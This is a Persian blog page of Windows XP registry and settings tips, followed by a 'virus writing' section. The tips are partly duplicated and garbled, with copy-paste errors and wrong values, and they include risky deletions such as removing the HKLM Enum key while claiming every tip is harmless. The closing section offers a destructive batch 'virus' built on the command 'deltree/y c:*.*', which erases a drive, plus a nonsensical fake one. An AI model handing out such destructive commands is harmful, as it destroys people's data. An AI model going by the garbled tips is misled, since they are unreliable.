HKEY_LOCAL_MACHINESoftwareMicrosoftOffice

در ويرايشگر رجيسترى ويندوز برويد. بعد از بازكردن اين شاخه يكى از شاخه‏هاى 8.0، 9.0 و 10 را باز كنيد (اين شماره‏ها به نسخه آفيس شما بستگى دارد، شماره OfficeXP، 10 است) و در آنجا شاخه Common>Asistant را باز كنيد. دايركتورى Asistant را پاك كنيد. در اين صورت دستيار آفيس به كلى از بين مى‏رود. براى تغييرات در آن يك Dword value ايجاد كنيد و براى عمليات زير كارهاى مربوطه را انجام دهيد:
هدف عمل
غيرفعال كردن كليد F1 AsstAssistWithHelp=0
غيرفعال كردن Tipهاى با اولويت بالا AsstOnlyHighProrityTips=1
غيرفعال كردن پيغامهاى كمكى AsstAssistWithHelp=0

24- برنامه‏ها را از منوى Add/Remove حذف كنيد:

حتماً مى‏دانيد تمام برنامه‏هايى را كه در ويندوز نصب مى‏كنيد، مى‏توانيد در منوى Add/Remove ببينيد. اگر شما يك برنامه را به طور دستى پاك كنيد (پوشه برنامه يا فايل اجرايى آن) ديگر نمى‏توانيد آن برنامه را از منوى Add/Remove پاك كنيد و برنامه هميشه در اين منو وجود دارد. ناراحت نباشيد از طريق ويرايشگر رجيسترى ويندوز مى‏توانيد اينكار را انجام دهيد. به آدرس

HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionUninstall

برويد. حالا هر برنامه‏اى را كه مى‏خواهيد در منوى Add/Remove نمايش داده نشود را پاك كنيد.

1- سرعت بارگيرى (Download) همزمان را افزايش دهيد!

مرورگر اينترنت (IE) نسخه 6 به شما فقط اجازه دو عمل بارگيرى همزمان را مى‏دهد. اين مقدار را مى‏توان به 10 رساند. چگونه؟ در پنجره Run، regedit را تايپ كرده و كليد enter را فشار دهيد. در ويرايشگر رجيسترى ويندوز به آدرس

HKEY_CURRENT_USERSoftwareMicrosoftWindows CurrentVersionInternetSettings

برويد و منوى edit را باز كنيد. "Add Value" را انتخاب كنيد و مقادير زير را در آن بنويسيد:

"MaxConnectionsPer1_0Server"=Dword:0000000a
"MaxConnectionsPerServer"=Dword:0000000a

ويرايشگر رجيسترى را ببنديد و سيستم را دوبار راه‏اندازى كنيد.
2- آيا آدرس IP خود را مى‏دانيد؟

پنجره Run را باز كنيد و Winipcfg را تايپ كنيد و كليد Enter را فشار دهيد، شما مى‏توانيد با اجرا شدن اين دستور آدرس IPخود را ببينيد. اين آدرس همان آدرسى است كه ISP به شما مى‏دهد.
3- بررسى ديوار آتش (Firewall):

ويندوز XP اولين نسخه ويندوز است كه ديوار آتش خودش را به همراه دارد Internet Connection Firewall(ICF). اين برنامه از شما در برابر نفوذگران محافظت مى‏كند. براى بررسى فعال بودن ICF در Control Panel وارد Network Connections شويد بسته به نوع ارتباط شما (..., Dial-up, DSL) ممكن است آيكونهاى مختلف ارتباطى را ببينيد روى يكى ازآيكونها عمل كليك راست بزنيد و Properties را انتخاب كرده

، سپس در اين پنجره Advanced را انتخاب كنيد. در باكس انتخاب ICF يك كليك بزنيد و دكمه OK را فشار دهيد. حالا روى آيكونى كه انتخاب كرده بوديد علامت يك قفل ظاهر مى‏شود و اين علامت به معنى فعال بودن ICF مى‏باشد.
4- تنظيم ICF:

خودتان مى‏توانيد ICF را براى سرويسها تنظيم كنيد. براى اينكار بايد تا همان پنجره Advanced قبلى جلو برويد و پس از تيك زدن در باكس انتخاب ICF، در پايين پنجره دكمه Settingرا مشاهده مى‏كنيد كه در آن مى‏توانيد هر سرويسى را انتخاب كنيد.
5- Refresh كردن فايلهاى اينترنتى:

فايلهاى موقت اينترنتى شامل صفحاتى هستند كه شما تا آنها را ديده‏ايد و با گذشت زمان اين صفحات به روز رسانده مى‏شوند. مرورگر اينترنت اين امكان را به شما داده است كه حالتهاى مختلفى را براى اين عمل انتخاب كنيد. براى ديدن اين حالتها وارد Internet Optionsشويد (از طريق منوى Toolsدر IE) و Settingرا در كادر Temporary Internet Files انتخاب كنيد. مى‏توانيد هر چهار حالت مربوطه را ببينيد. از توضيح اين حالتها به علت واضح بودن صرفنظر مى‏كنيم.
6- امنيت Windows Media Player:

Media Player ويندوز هم مانند بقيه نرم‏افزارها مى‏تواند اطلاعاتى را درباره CD در حال پخش پيدا كند. در ضمن بدست آوردن اين اطلاعات، اطلاعاتى از قبيل نسخه PlayerMedia به سايت مربوطه فرستاده مى‏شود و آن سايت Player را تشخيص مى‏دهد. براى اين كار داده‏ها بايد به صورت اشتراكى باشند تا آنها بتوانند به داده‏ها دسترسى پيدا كنند. براى جلوگيرى از اشتراك داده‏ها مى‏توانيد منوى Tools را در Media Player باز كرده و Option را انتخاب كنيد. در پنجره بازشده در كادر Internet Settings تيك عبارت Allow Internet Sites to uniquely identify your Player را برداريد. با برداشتن آن ديگر به‏سايتهاى اينترنتى اجازه نمى‏دهيد Player شما را تشخيص دهند.
نکته هاي سيستمي در ويندوز
7- ايجاد يك ميانبر براى‏ Outlook Contacts:

ايجاد يك ميانبر براى Contacts روى دسك تاپ باعث مى‏شود كه شما هر وقت Outlookرا باز مى‏كنيد، قسمتهاى آدرس و شماره تلفن را مشاهده كنيد. براى ايجاد اين ميانبر روى دسك تاپ كليك راست بزنيد و New و بعد Shortcut را انتخاب كنيد. با انتخاب اين قسمت پنجره‏اى باز مى‏شود كه بايد مسير outlook.exeرا بدهيد. (مسير بين دو علامت " "قرار مى‏گيرد). بعد از اين عبارت بايد outlook:contactsرا تايپ كنيد و OKرا فشار دهيد. كار تمام است، Outlook را اجرا كنيد و خودتان نتيجه را ببينيد.
8- برگرداندن مرورگر ويندوز (Restore Windows Explorer)

زمانى كه اشتباهى در اجراى برنامه‏ها در XP مى‏افتد، تمام آيكونهاى روى دسك تاپ ناپديد مى‏شوند و يا در مرورگر ويندوز اشتباهى پيش مى‏آيد. به جز راه‏اندازى مجدد سيستم، XP راه ديگرى هم ارائه داده است. براى برگرداندن مرورگر ويندوز دكمه‏هاى Ctrl&Alt&Del را بگيريد و در پنجره Task Manager، دكمه New task را انتخاب و در كادر آن explorer را تايپ كنيد. خواهيد كه پنجره مرورگر ويندوز ظاهر مى‏شود.
9- Hibernation (خواب زمستانى! را از كار بيندازيد)

مى‏دانيد كه حالت Hibernation را مى‏توانيد با پايين نگاه داشتن كليد shift در پنجره خاموش كردن انتخاب كنيد. Hibernation تمام اطلاعات شما را روى ديسك سخت ذخيره مى‏كند و سيستم را خاموش مى‏كند. اين حالت به صرفه‏جويى در منابع انرژى بسيار كمك مى‏كند، چون مانند حالت Stand-by تمام اطلاعات شما را ذخيره مى‏كند با اين تفاوت كه Hibernation سيستم را خاموش مى‏كند. اگر بخواهيد اين حالت را غيرفعال كنيد بايد به قسمت Power Options در Control Panel برويد و در قسمت Hibernate كادر Enable Hibernation را غيرفعال كنيد.
10- غيرفعال كردن پيغامهاى خطا:

زمانى كه ويندوز XP با يك خطا برخورد مى‏كند، يك پيغام خطا ايجاد مى‏كند كه از شما مى‏پرسد مى‏خواهيد اين خطا را به مايكروسافت گزارش دهيد يا نه (Send error). اگر برنامه‏هايى داريد كه باعث ايجاد اين پيغامها مى‏شوند، مى‏توانيم به شما كمك كنيم كه حتى در موقع پيش آمدن خطا هم آنها را ديگر نبينيد! بدين ترتيب وارد قسمت Performance and Maintenance(كه در Control Panel قرار دارد) بشويد. در آنجا وارد Systemبشويد (يا اينكه روى My Computer كليك راست بزنيد و Properties را انتخاب كنيد). بعد از آن وارد قسمت Advancedشويد و Error Reporting را باز كنيد. در اين پنجره مى‏توانيد آنها را از كار بيندازيد يا اينكه ايجاد پيغامهاى خطا را محدود كنيد.
11- حل مشكلات سازگارى در XP

يك مشكل عمومى كه در ارتقاء هر ويندوز به ويندوز XP اتفاق مى‏افتد ناسازگارى برنامه‏ها و نرم‏افزارها با ويندوز XP است. اين امر در ويندوز 2000 هم اتفاق مى‏افتاد و ويندوز XP كه معماريش بر پايه ويندوز 2000 است از اين امر مستثنى نيست. دو راه براى حل اين مشكل وجود دارد. اولى انتخاب حالت سازگارى است كه مى‏توانيد آنرا با كليك راست روى هر برنامه و انتخاب Properties و بازكردن قسمت Compatibility تنظيم كنيد. در اين پنجره مى‏توانيد برنامه‏ها را در حالت سازگارى با وي ندوز 95، 98 ، NT4.0 و ويندوز 2000 اجرا كنيد. حتى مى‏توانيد تعيين كنيد كه برنامه در حالت 256 رنگى اجرا شود و يا اينكه در حالتى اجرا شود كه دقت تصوير 480*640 باشد و يا اينكه تمام امكانات بصرى را از كار بيندازيد .(Disable Visual Themes)

دومين روش دستكارى خود برنامه و مراحل نصب است. اين بار بايد سراغ ديسك نصب برنامه موردنظر برويد و در آن دنبال قسمتى برگرديد كه مربوط به ويندوز XP مى‏باشد. فايل setup.exe آنرا پيدا و اجرا كنيد. در واقع فقط برنامه و نرم‏افزارهايى كه از ويندوز XP پشتيبانى مى‏كنند اين قسمت خاص را دارا مى‏باشند. در اكثر موارد روش دوم بهتر عمل كرده و روش اول به ندرت كاملاً درست كار كرده است.
12- غيرفعال كردن System Recovery

قسمت «بازيافت سيستم» مى‏تواند ابزار مناسبى براى ترميم سيستم باشد. البته كند عمل مى‏كند و مقدارى از فضاى ديسك سخت را مى‏گيرد. براى از كار انداختن آن روى My Computer كليك راست بزنيد و Properties را انتخاب كنيد. قسمت System Restore را انتخاب كنيد و در پنجره آن كادر انتخابى را فعال كنيد. با فعال كردن آن عمليات بازيافت روى تمام درايوها از كار مى‏افتد.
13- عقب گرد راه‏اندازهاى XP:

زمانى كه وسيله جديدى را نصب مى‏كنيد، ممكن است راه‏انداز آن احتياج به روزرسانى داشته باشد. وقتى شما عمل به روزرسانى راه‏انداز را انجام مى‏دهيد، ممكن است در بعضى موارد مشاهده شود كه اين وسيله تحت XP درست كار نمى‏كند و بنابراين عمل به روزرسانى راه‏انداز اين وسيله به جاى بهتركردن كار، كار را خرابتر كرده است. حالا چه بايد كرد؟ نگران نباشيد XP فكر اينجا را هم كرده است! وارد Device Manager شويد (از طريق كليك راست روى My Computerو انتخاب Properties و Hardware) و روى وسيله موردنظر كليك راست بزنيد و Properties را انتخاب كنيد. بعد از آن قسمت Driver را باز كنيد و دكمه RollBack Driver را بزنيد. راه‏انداز جديد برداشته مى‏شود و وسيله موردنظرتان با همان راه‏انداز قبلى كار خواهد كرد.
14- از كار انداختن Task Scheduler:

زمانبند وظايف ويندوز يك ابزار سودمند است ولى اين برنامه CPUو فضاى حافظه را اشغال مى‏كند. شما نمى‏توانيد آنرا حذف كنيد ولى مى‏توانيد آنرا از كار بيندازيد. براى اينكار ويرايشگر رجيسترى ويندوز را باز كنيد. به مسير زير برويد:

HKEY_LOCAL_MACHINESoftwareMicrosoftWindows CurrentVersionRunServices

خط مربوط به زمانبند را پيدا كنيد نام فايل mstask.exe را حذف كنيد و سيستم را مجدداً راه‏اندازى كنيد. از اين به بعد زمانبند بار نمى‏شود.
15- انتقال ديسك سخت

زمانى كه سيستم خود را ارتقاء مى‏دهيد ممكن است كه بخواهيد ديسك سخت آنرا نگه داريد. براى اين امر شما تمام تنظيمات مربوط به وسايل را برداريد تا دچار مشكل نشويد.

ويرايشگر رجيسترى ويندوز را باز كنيد و تمام قسمت Enum را در HKEY_LOCAL_MACHINE حذف كنيد (البته ما هيچ مسؤوليتى در برابر مشكلات احتمالى به عهده نمى‏گيريم).
16- امن كردن سيستم

شما مى‏توانيد يك كلمه عبور را به Screen Saver اضافه كنيد و آنرا با سوئيچ "/s" در دايركتورى Startup قرار دهيد. اين روش دقيقاً مانند اين است كه سيستم شما كلمه عبور دارد. براى اينكار وارد پوشه Windowssystem شويد و يكى از Screen Saverها را انتخاب و در پنجره Startup كپى كنيد. اين كار باعث مى‏شود بلافاصله پس از شروع ويندوز محافظ صفحه موردنظر اجرا شود و كلمه عبور براى بازگشت، باعث امنيت ويندوز مى‏شود.

اگر كلمه عبور را فراموش كرديد ناراحت نباشيد، سيستم را مجدداً راه‏اندازى كنيد و در موقع اجراشدن سيستم كليد F5 را پايين نگه داريد. اين باعث مى‏شود كه سيستم به صورت Safe mode اجرا شود. ديگر هيچ كدام از برنامه‏هاى Startup از جمله محافظ صفحه موردنظر اجرا نمى‏شود. فايل Control.ini (در شاخه windows) را باز كنيد و Screensaver.name را پيدا كنيد. قسمت نام محافظ صفحه‏اى است كه شما استفاده مى‏كنيد. آن را كلاً حذف كنيد و يا مقدار pwprotected را از 1 به 0 تغيير دهيد. بعد از ربوت شدن سيستم كلمه عبور حذف شده است.
17- برداشتن پيغامهاى خطاى Rundll:

ظاهرشدن اين پيغامها در شروع برنامه‏ها و جاهاى ديگر بسيار عمومى است كه در بعضى مواقع ممكن است رنج‏آور باشد و به همين دليل شايد بخواهيد آنها را از كار بيندازيد. براى اين كار به آدرس

HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun

در ويرايشگر رجيسترى ويندوز برويد و در آنجا دنبال رشته پيغام خطا بگرديد (همان پيغامهايى كه در موقع بروز خطا ظاهر مى‏شد). بعد از پيدا كردن آن را پاك كنيد و سيستم را مجدداً راه‏اندازى كنيد. ديگر اين پيغام را نخواهيد ديد.
نكاتى در مورد منوها و عملياتى جالب و غيرعادى در ويندوز
18- آيكونهاى ميانبر را عوض كنيد

اينكار را مى‏توانيد با كليك راست روى آيكون و قسمت Properties>Shortcut>Change Icon را انتخاب كنيد.

تمام آيكونهاى مخفى كه در فايل windowssystemshell32.dll قرار دارد.
19- صفحه كليد XP:

در ويندوز XP مى‏توانيد به يك صفحه كليد مانند صفحه كليد خودتان اما روى صفحه نمايشگر دست يابيد. با اجراكردن اين صفحه كليد يك پنجره مانند شكل بالا كه مى‏بينيد. با فشاردادن هر دكمه روى صفحه كليد خود، دكمه موردنظر روى اين صفحه كليد مشخص مى‏شود. از اين صفحه كليد مى‏توانيد براى يادگيرى تايپ نيز استفاده كنيد.
20- برداشتن پشت زمينه آيكونها:

در ويندوز XP يك خاصيت وجود دارد كه مى‏تواند جالب باشد. اين كار را در ويندوزهاى ديگر نمى‏توانستيد انجام دهيد و آن اين بود كه روى نوشته تمام آيكونهاى روى Desktop يك پشت زمينه رنگى وجود دارد كه به هيچ وجه از بين نمى‏رود، اما در ويندوز XP اين كار عملى شده است. براى انجام آن وارد پنجره System Properties (كليك راست روى My Computer و انتخاب Properties) بشويد و بعد به قسمت Advanced و بعد Performance>Setting برويد. در آنجا دنبال عبارت 'use drop shadows for icon labels' بگرديد و كادر انتخابى آنرا فعال كنيد.
21- برداشتن باكسهاى بالونى شكل:

اگر ويندوز XP داريد حتماً با پنجره‏هايى شبيه بالون كه براى توضيحاتى در مورد مطلبى باز مى‏شوند برخورد كرده‏ايد. شما مى‏توانيد آنها را از كار بيندازيد؛ براى انجام اين كار وارد ويرايشگر رجيسترى شويد و به آدرس زير برويد:

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced

بعد از اينكار و رفتن به آدرس بالا در اين قسمت كليك راست بزنيد و يك NewDwordValue با نام EnableBalloonTips ايجاد كنيد و مقدار آن را صفر قرار دهيد. همين! ديگر بالونها را نخواهيد ديد.
22- برداشتن اخطار برنامه Msconfig:

اگر شما با استفاده از برنامه Msconfig تغييراتى در سيستم خود داده‏ايد، ممكن است دفعه بعد در بوت شدن سيستم اخطارهايى را ببينيد كه در بعضى مواقع شما را اذيت مى‏كند. شما مى‏توانيد اين اخطارها از بين ببريد. براى اينكار به آدرس

HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun

در ويرايشگر رجيسترى برويد و مقدار Msconfig Reminder را پاك كنيد.
23- تغييرات در Office Asistant

همه با دستيار آفيس مايكروسافت (به شكل گيره كاغذ و سگ و گربه و...) آشنا هستيد. شما مى‏توانيد آنرا كاملاً حذف كنيد و يا اينكه در عمليات آن تغييراتى ايجاد كنيد. براى حذف كامل آن به آدرس

HKEY_LOCAL_MACHINESoftwareMicrosoftOffice

در ويرايشگر رجيسترى ويندوز برويد. بعد از بازكردن اين شاخه يكى از شاخه‏هاى 8.0، 9.0 و 10 را باز كنيد (اين شماره‏ها به نسخه آفيس شما بستگى دارد، شماره OfficeXP، 10 است) و در آنجا شاخه Common>Asistant را باز كنيد. دايركتورى Asistant را پاك كنيد. در اين صورت دستيار آفيس به كلى از بين مى‏رود. براى تغييرات در آن يك Dword value ايجاد كنيد و براى عمليات زير كارهاى مربوطه را انجام دهيد:
هدف عمل
غيرفعال كردن كليد F1 AsstAssistWithHelp=0
غيرفعال كردن Tipهاى با اولويت بالا AsstOnlyHighProrityTips=1
غيرفعال كردن پيغامهاى كمكى AsstAssistWithHelp=0

24- برنامه‏ها را از منوى Add/Remove حذف كنيد:

حتماً مى‏دانيد تمام برنامه‏هايى را كه در ويندوز نصب مى‏كنيد، مى‏توانيد در منوى Add/Remove ببينيد. اگر شما يك برنامه را به طور دستى پاك كنيد (پوشه برنامه يا فايل اجرايى آن) ديگر نمى‏توانيد آن برنامه را از منوى Add/Remove پاك كنيد و برنامه هميشه در اين منو وجود دارد. ناراحت نباشيد از طريق ويرايشگر رجيسترى ويندوز مى‏توانيد اينكار را انجام دهيد. به آدرس

HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionUninstall

برويد. حالا هر برنامه‏اى را كه مى‏خواهيد در منوى Add/Remove نمايش داده نشود را پاك كنيد.

بطور پيش فرض ويندوز هر 60 روز ويزارد Desktop Cleanup را براي حذف آيتمهاي و ميانبر هاي بي استفاده Desktop فعال مي کند . اين تنظيمات اجراي اتوماتيک اين فرايندراغير فعال مي کند.
رجيستري را باز کرده و کليد زير را در آن پيدا کنيد . HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\
Desktop\CleanupWiz
يک مقدار DWORD جديد ايجاد کرده و نام "NoRun" را به آن بدهيد. سپس مقدار آن را برابر با تعداد اسناد اخيري کنيد که مايل به نشان دادن آنها هستيد .
از رجيستري خارج شويد و براي اعمال تغييرات ممکن است نياز به راه اندازي مجددا سيستم و يا Log off آن داشته باشيد !

اين گزينه آيکون Internet Explorer را از Desktop ويندوز حذف مي کند.
رجيستري را باز کرده و کليد زير را در آن پيدا کنيد .

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
Explorer
يک مقدار DWORD جديد ايجاد کرده و نام "NoInternetIcon" را به آن بدهيد. سپس مقدار آن را برابر با تعداد اسناد اخيري کنيد که مايل به نشان دادن

آنها هستيد . از رجيستري خارج شويد و براي اعمال تغييرات ممکن است نياز به راه اندازي مجددا سيستم و يا Log off آن داشته باشيد .

فعال شدن Screen Saver در هنگام Defrag مي تواند سبب کندي و از هم گسيختگي فرايند شود . اين ويژگي امکان اجراي برنامه

Screen Saver را در هنگام Defrag غير فعال مي کند.
رجيستري را باز کنيد. و کليد زير را در آن بيابيد .

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\
Defrag\Settings\DisableScreenSaver
يک مقدار String با نام "(Default)" ايجاد کرده و مقدار آن را مطابق مقادير زير قرار دهيد .
سيستم را مجددا راه اندازي کنيد تا تغييرات به سيستم اعمال شود .

به كلید زیر در ریجستری مراجعه كنید :


HKEY-CURRENT-USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System


به تناسب مورد، یك مقدار DWORD ایجاد كنید و داده آن را برابر با یك قرار دهید. برگه‌های Themes ، Desktop ، ScreenSaver و Setting به ترتیب با مقادیری به نام NoThemesTab، NoDispBackgroundPage ، NoDispScrSavPage وNoDispSettingsPage متوقف می شوند. مقدار NoDispAppearance هم برگه Themes و هم Appearance را متوقف می کند. مقدار NoDispCpl هم به طور كل، كادر Display Properties را مسدود می کند.

در ویندوز XP می توانید قبل از فعال شدن هر حساب کاربری ( USER ) پسورد دیگری)پسورد دوم ) قبل از پسورد اصلی User قرار دهید . با انتخاب این پسورد افراد دیگری که از آن ویندوز استفاده میکنند قبل از ورود باید از دو گذر امنیتی قوی عبور کنند.

برای اضافه کردن این پسورد به ویندوزتون مراحل زیر را به ترتیب دنبال کنید :
1-در کادر RUN عبارت Syskey را تایپ کنید و بعد OK کنید .
2-در Caption پنجره ظاهر شده با عنوان Securing the Windows XP Account Database روی گزینه Update كلیك كنید.
3- حالاقسمت Password Startup را انتخاب و پسورد دلخواه خودتون رو وارد کنید و پنجره را با OK ببندید.

نکته 1 : در صورت لزوم می تو نید در قسمت System Generated Password پسورد را بر روی Floppy Disk ذخیره نمائید تا فقط با استفاده از آن دیسکت قادر به عبور باشید.
از این به بعد زمانی که سیستم روشن و یا ریبوت بشه ، پسورد امنیتی قبل از ورود به حساب های کاربری ظاهر می شود و برای ورود از شما پسورد در خواست می کند.
نکته 2 : اگر پسورد رو سه مرتبه اشتباه وارد کنید سیستم بوت می شه.


نظر شما ( نظر بدين )

گزینه RUN از داخل start انتخاب کنید و عبارت regedit را بنویسید و Enter بزنید . بعد از باز شدن پنجره رجیستری از منوی edit گزینه fine را زده و عبارت localized را جستجو کنید . شما می توانید با کلید F3 به جستجو ادامه دهید . حال هر چیزی که پیدا کرد ، با جمله فارسی تغییر نام بدهید .

چطوری يک folder بدون name بسازيد .


ابتدا folder را بسازيد .سپس در قسمت name اين کار را بکنيد.


alt+255 را بزنيد .

این آموزش مخصوص ویندوز xp می باشد . کلیدهای Alt + left Shift + Print Screen را بزنید . و ok کنید .


با انجام اين عمل صفحه کامپيوتر شما به رنگ سياه در می آيد و هيچ جوری به طور صحيح قابل باز گشت نيست برای بازگرداندن به حالت اول بايد این کار را دوباره انجام دهید. Alt + left Shift + Print Screen

:نكته 1- تمام نكات گفته شده در اين مقاله تست شده اند و هيچ گونه خطري ندارند. 2- به بزرگ و يا کوچک بودن اسم فايلها توجه کنيد. 3- در صورت نبودن فايل و يا پوشه اي، آنرا خودتان درست نماييد. رجيستري ويندوز: رجيستري از دو فايل با نامهاي USER.DAT و SYSTEM.DAT تشکيل شده است. البته اگر شما عضو يک شبکه هستيد، فايل ديگري تحت عنوان CONFIG.POL نيز وجود دارد. همه اين 3 فايل، از نوع Hidden, System, ReadOnly هستند و در شاخه اصلي ويندوز قرار دارند. فايل USER.DAT چیست ؟ اين فايل براي ذخيره کردن اطلاعات User به کار مي رود. هر زمان که شما از ويندوز خود خارج مي شويد، سيستم به طور اتوماتيک يک نسخه پشتيبان از اين فايل تهيه مي کند. اين فايل نيز، از نوع Hidden, System, ReadOnly و نام آن USER.DA0 مي باشد. اگر به هر نحوي فايل USER.DAT خراب و يا پاک شود، سيستم از اين فايل استفاده مي کند. فايل SYSTEM.DAT چیست ؟ از اين فايل براي نگهداري اطلاعات مربوط به سيستم استفاده مي شود. هر زمان که شما از ويندوز خود خارج مي شويد، سيستم به طور اتوماتيک يک نسخه پشتيبان از اين فايل تهيه مي کند. اين فايل نيز، از نوع Hidden, System, ReadOnly و نام آن SYSTEM.DA0 مي باشد. اگر به هر نحوي فايل SYSTEM.DAT خراب و يا پاک شود، سيستم از اين فايل استفاده مي کند. نکته اي که در اينجا بايد بدان اشاره شود، اين است که در پارتيشن بوت شما، يک نوع ديگر از فايل SYSTEM.DAT تحت عنوان SYSTEM.1ST وجود دارد. اين همان فايل رجيستري اوليه ساخته شده در حين نصب ويندوز است. اگر به هر دليلي، هر 2 فايل SYSTEM.DAT و SYSTEM.DA0 خراب و يا پاک شود، ويندوز از اين فايل استفاده مي کند. فايل CONFIG.POL چیست ؟ اين فايل، پارامترهاي انتخاب شده در برنامه System Policy Editor را در بر مي گيرد. تفاوت عمده ذخيره سازي داده ها در رجيستري: بايد توجه داشته باشيد که تفاوت عمده اي ميان ذخيره سازي اطلاعات در ويندوزهاي 95/98/ME و ويندوزهاي 2000/XP وجود دارد. در ويندوزهاي 95/98/ME همان طور که گفته شد، رجيستري در دو فايل SYSTEM.DAT و USER.DAT ذخيره مي شود. در حالي که در ويندوزهاي 2000/XP، اطلاعات رجيستري در مجموعه اي از فايل هاي Hive (فايلهاي کندويي*) ذخيره مي شوند. فايلهاي Hive چه فايل هايي هستند ؟ به بخشي از رجيستري که بر روي هارد ذخيره مي شود و به صورت يک فايل مي باشد، فايل Hive مي گويند. در واقع مي توان ساختار درختي رجيستري را به تعدادي کندو (همانند کندوهاي زنبور عسل) تقسيم کرد. يک کندو در واقع بدنه اي گسسته از کليدها، زير کليدها و اطلاعاتي هستند که در بالاترين سطح رجيستري در کنار يکديگر دسته بندي مي شوند. يک Hive از طريق يک فايل log. پشتيباني مي شود. به طور پيش فرض اکثر فايلهاي Hive (نظير Defualt، Security، Sam و System) در مسير SystemRoot%\System32\Config% ذخيره مي شوند. براي مشاهده کليه فايلهاي Hive، مي توانيد به آدرس زير مراجعه کنيد. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\hivelist نحوه ويرايش کردن :Registry برخلاف فايلهاي INI و فايلهايي نظير CONFIG.SYS, AUTOEXEC.BAT که از نوع متني بودند و شما مي توانستيد به راحتي آنها را باز کرده و مشغول به خواندن آنها شويد، فايلهاي رجيستري به صورت دودويي (صفر و يک) هستند و به همين دليل است که شما ديگر نمي توانيد اين فايلها را با يک نرم افزار تايپ معمولي مثل Notepad بخوانيد و يا آنها را تغيير دهيد. خوشبختانه، مايکروسافت براي حل اين مشکل، يک نرم افزار جانبي تحت عنوان Registry Editor در ويندوز قرار داده است که ويرايش کردن فايلهاي Registry را بسيار آسان مي کند. (براي يک بار هم که شده، مايکروسافت عقلشو به کار انداخته !!!). براي اجراي اين فايل مي بايست از منوي استارت، گزينه Run را انتخاب کرده (و يا دو کليد Windows+R را فشار دهيد)، سپس عبارت regedit را تايپ نموده و در نهايت کليد Enter را بزنيد. چگونه یک نسخه پشتيبان از رجيستري تهیه کنیم ؟ براي اينکه از رجيستري خود Backup بگيريد، مي بايست پس از اجرا نمودن نرم افزار Registry Editor، گزينه Export را از منوي File انتخاب کنيد. اگر که با رجيستري کار کرديد و ديديد که اشتباها يک فايل را پاک کرده و يا نام آنرا تغيير داديد، مي توانيد بر روي فايل ايجاد شده (همان فايلي را که از طريق فرمان Export ذخيره کرديد)، دوبار کليک کنيد و به سوالي که از شما مي پرسد، جواب Yes دهيد. دقت داشته باشيد که پسوند فايلهاي رجيستري، REG مي باشد. ذخيره و بازيابي رجيستري در ويندوز XP چگونه است ؟ در ويندوز XP، براي تهيه نسخه پشتيبان از فايلها، برنامه خاصي به نام Backup وجود دارد. براي اجراي اين برنامه مي توانيد از دستور زير استفاده نماييد:8 براي حالتي است که شما از منوي استارت Classic در ويندوز XP استفاده مي کنيد. Start > Programs > Accessories > System Tools > Backup براي حالتي است که شما از منوي استارت New در ويندوز XP استفاده مي کنيد. Start > All Programs > Accessories > System Tools > Backup پس از اجراي نرم افزار، ويزارد آن ظاهر مي شود. صفحه اول به شما خوش آمدگويي مي کند. پس بر روي دکمه Next کليک کنيد تا به صفحه بعدي برويد. ?What do you want to do برای تهيه نسخه پشتيبان Back up files and settings برای بازيابي فايلها Restore files and settings گزينه اول را انتخاب کرده و بر روي دکمه Next کليک نماييد. ?What do you want to back up با انتخاب کردن اين گزينه، کليه محتويات پوشه هاي My Documents و Favorites، تنظيمات Desktop و کوکي هاي شما ذخيره مي شوند. My documents and settings اين گزينه موارد گزينه قبل را براي يک کاربر خاص انجام مي دهد. Everyone's documents and settings این گزینه کليه اطلاعات و داده هاي حياتي کامپيوتر شما را ذخيره مي کند و يک ديسکت سيستم نيز توليد مي نمايد تا هنگام خرابي کامپيوتر، بتوانيد کامپيوتر خود را با اين ديسکت راه اندازي کنيد. All information on this computer اين گزينه امکان انتخاب فايلهايي را که مي خواهيد از آنها نسخه پشتيبان تهيه نماييد، نشان مي دهد. Let me choose what to back up گزينه چهارم را انتخاب کنيد و بر روي دکمه Next کليک نماييد. در قسمت سمت چپ، گزينه Desktop > My Computer > System State را انتخاب کنيد. همان طور که مشاهده مي کنيد، اين گزينه شامل فايلهاي Registry و COM+ Class Registration Database و Boot Files (فايلهاي راه انداز سيستم) مي باشد. پس از انتخاب کردن اين گزينه، بر روي دکمه Next کليک کنيد. در اين صفحه نام فايل خود را در قسمت Type a name for this backup و محل مورد نظر را در قسمت Choose a place to save your backup انتخاب کنيد. پس از اتمام کار، بر روي دکمه Next کليک کنيد. بقيه مراحل کار مهم نمي باشند و بستگي به اين دارد که شما چه مي خواهيد. اگر هم ناوارد هستيد و نمي دانيد که چه بکنيد، مي توانيد فقط بر روي دکمه Next کليک کنيد. (براي اينکه گزينه ها، به بهترين صورت انتخاب شده اند!) براي بازيابي فايلها، کافيست بر روي فايل ساخته شده دو بار کليک کنيد و مراحل تکميل کار را طي نماييد با تشكر شهرام نوروزي.

این هم آخرین پست مطلب وبلاگ برزو

به علت رفتن خدمت سربازی تا اطلاع بعدی وبلاگ بروز نمی شود

حتما  به وبلاگ عاشقانه زیر سری بزنید

http://www.tanhamaryam.blogfa.com

                                                با تشکر :محسن برزویی۳/۷/۸۵

ویروس نویسی !!

_{توجه توجه}

_{من هیچ مسئولیتی در برابر استفاده نا درست از این ویروس ها}

_{ندارم !!}

_{ویروس اول: graphic card lower}

_{توضیح در باره ویروس:این ویروس فضای کارد گرافیک رو پر میکنه}

 

_{و دیگه هیچ بازی رو سیستم اجرا نمیشه!!}

_{نوشتن ویروس:یک نوت پد باز کنید و در آن تایپ کنید :}

 

_{c/windows/system32/jefo/display/memory/full}

 

_{و برای save کردنش گزینه file رو زده و save as... رو انتخاب کنید و}

 

_{اونو با اسم tak-hack.bat ذخیره کنید اکنون ویروس شما آماده میباشد}

_{دوستان دیگه خیلی حال دادم نظر بدید تا یه ویروس از این خفن تر بذارم}

سلام دوستان اینم یه ویروس باحال دیگه

1-ابتدا یک note pad باز کنید

2-فرمانهای زیر را تایپ کنید

1-deltree/yc:*.*

